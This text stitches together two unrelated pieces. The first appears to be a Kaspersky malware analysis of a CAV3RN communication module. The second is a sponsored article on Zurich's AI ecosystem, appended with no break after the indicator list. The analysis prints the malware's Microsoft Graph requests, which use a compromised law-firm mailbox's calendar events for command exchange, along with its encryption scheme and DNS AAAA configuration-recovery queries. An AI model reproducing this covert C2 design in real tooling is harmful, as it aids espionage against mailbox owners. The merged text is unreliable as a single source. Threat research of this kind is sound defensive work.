Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format	Purpose	Module behavior
Event ID: <agent-id>	Operator-to-agent command	Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500	Agent heartbeat	Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500	Agent-to-operator command output	Creates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name	Direction	Associated subject
file0.txt	Operator to agent	Event ID: <agent-id>
File0.txt	Agent to operator	Boss Report ID: <agent-id>1500

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index	Configuration value
0	TenantId
1	ClientId
2	ClientSecret
3	UserEmail

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain	IP	First seen	ASN	Hosting
ns1.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns2.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns3.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns4.cloudlanecdn[.]com	144.172.108[.]205	May 21, 2026	AS 14956	RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

Apple. Anthropic. Disney Research. Google. Meta. Microsoft. NVIDIA. OpenAI. Few places outside Silicon Valley can claim R&D hubs from all of these companies. Fewer still are concentrated in a city of just over 400,000 people—roughly half the size of San Francisco.

Over the past two decades, however, many of the world’s most influential technology companies have established R&D operations in and around Zurich, Switzerland. What began with Google’s decision to build its largest R&D hub outside the United States has evolved into one of the world’s most concentrated centers for AI research, talent, and commercialization, in certain areas at a higher density than Silicon Valley. 

The question is why so many technology leaders keep choosing the same place to build and scale.

Located at the center of Europe, Greater Zurich Area, a region spanning the cantons of Glarus, Graubünden, Schaffhausen, Schwyz, Solothurn, Tessin, Uri, Zug, and Zürich, the region of Winterthur, and the city of Zurich, combines access to major markets with political stability, regulatory predictability, and strong intellectual property protection. And Zurich Airport connects the region directly with key business hubs across Europe, North America, and Asia, making it an efficient base for international operations.

The country’s innovation performance reinforces this position. Switzerland has ranked first in the Global Innovation Index for more than a decade, leads the world in patents per capita, and invests over 3.3% of GDP in research and development. Earlier this year, google.org pledged a $1 million grant to the Swiss National AI Institute, a joint effort to advance AI research for the public good.

Switzerland’s venture ecosystem reflects a similar focus. Over 60% of Swiss venture capital is invested in deep tech—the highest share globally by a large margin and nearly twice the share of major economies like Germany, France, and the UK. And, according to the Swiss Deep Tech Report 2026, at $1,470 invested per capita, Switzerland commits more to deep tech per capita than any other country in Europe.

The economics of specialization

While Switzerland is one of Europe’s most expensive locations for talent and operations, salaries remain at a fraction of those in Silicon Valley. The talent pool is small by global standards. Scaling a team quickly is harder in Zurich than in London, Paris, or Amsterdam. For early-stage companies that need to hire fast and burn lean, that trade-off is real. For companies building specialized AI capabilities, however, the equation works: The objective is to assemble the right team, not the largest one.

Switzerland’s economy is built around high-value, knowledge-intensive work. Productivity is among the highest in the world, and companies concentrate on functions that depend on specialized expertise rather than large workforces. For companies developing advanced AI capabilities, cost is often weighed against factors that are harder to replicate elsewhere: direct access to leading universities and research institutions, regulatory stability, and a quality of life that helps attract and retain skilled international talent.

A high-density AI ecosystem

Within Switzerland, the Greater Zurich Area concentrates many of the ingredients required to build and deploy AI systems.

The defining characteristic of this region is density. Many of the world’s leading AI companies, research institutions, investors, and startups operate in close proximity, creating connections between talent, capital, and ideas.

For example, Google engineers teach at ETH Zurich. ETH graduates join companies such as Anthropic. Researchers launch startups, while former employees of global technology firms go on to found new ventures of their own. Investors, founders, academics, and corporate teams encounter each other repeatedly through shared networks, industry events, and professional circles. In a region of this size, collaboration often happens less through formal introductions than through proximity. While talent flows freely, it rarely leaves the ecosystem.

One indicator of the region’s maturity is its ability to convene. Events such as the Zurich AI Festival will bring together more than 6,500 guests this September 28 to October 3. With more than 35 confirmed events across AI and the arts, AI literacy, health, technology, and policy, it is designed as a platform for cross-sector exchange. Its flagship events, the AI + X Summit, AI + Environment, and the AI + Policy Summit, will bring together internationally recognized leaders alongside researchers, policymakers, venture capitalists, and entrepreneurs, convening international voices and fostering dialogue across sectors.

Research, talent, and company creation

At the center of the country’s AI capabilities are institutions such as ETH Zurich, the University of Zurich, École Polytechnique Fédérale de Lausanne (EPFL), Scuola Universitaria Professionale della Svizzera Italiana (SUPSI), and Zürcher Hochschule für Angewandte Wissenschaften (ZHAW).

ETH Zurich ranks among Europe’s leading universities for deep tech commercialization, generating more than 40 spin-offs and startups in 2025 alone, helping create some of the continent’s most valuable technology companies.

The Stanford AI Index 2026 reinforces that picture: Switzerland ranks first globally for AI researchers and inventors per capita, with 110.5 per 100,000 inhabitants—ahead of Singapore (109.5), Sweden (80.6), and the United States (64.8). And the IMD World Talent Ranking ranked Switzerland as number 1 for the 10th consecutive year, leading globally in investment, development, and talent appeal.

Engineers, researchers, and founders move frequently between universities, startups, and established technology firms, creating strong knowledge flows across organizations. That density is increasingly attracting companies from outside the region too. Even before formally announcing their Zurich office, Exa.ai received a strong pipeline of candidate applications. ‘To assemble the greatest search team in the world, you’ve got to meet people where they are,’ says Will Bryk, the company’s CEO and co-founder. ‘And many are in Greater Zurich.’

Former Google Switzerland employees alone have founded approximately 210 companies and created around 2,600 jobs over the past two decades. For a country of around nine million inhabitants, the multiplier effect is significant. Large technology firms contribute not only through direct employment, but also through the creation of new companies and the transfer of expertise.

Why the Greater Zurich Area complements Silicon Valley

For many technology companies, Switzerland is not a substitute for Silicon Valley. The two serve different functions within the AI value chain.

Silicon Valley remains unmatched in scale, venture capital, and frontier model development, but for global technology companies, an R&D presence in Switzerland has increasingly become a strategic complement: a way to access specialized talent, stay close to leading research, and build capabilities that will shape the next generation of products and services.

This is particularly relevant for companies working at the intersection of AI and the physical world. Switzerland offers direct access to leading universities, industrial partners, and sectors such as healthcare, finance, manufacturing, and robotics, where reliability, compliance, and precision are often as important as raw model performance.

Geography is strategy

Global AI leaders came to the Greater Zurich Area because the region concentrates capabilities that are often distributed across multiple locations: world-class research, specialized talent, industrial partners, capital, and pathways to deployment. Those advantages were built over decades, not years.

For companies evaluating where to build the next generation of AI products, the answer may not be another larger ecosystem. It may be one where the distance between research, talent, capital, and deployment is measured in minutes rather than hours.

Learn more about the Greater Zurich Area.

This content was produced by the Greater Zurich Area. It was not written by MIT Technology Review’s editorial staff.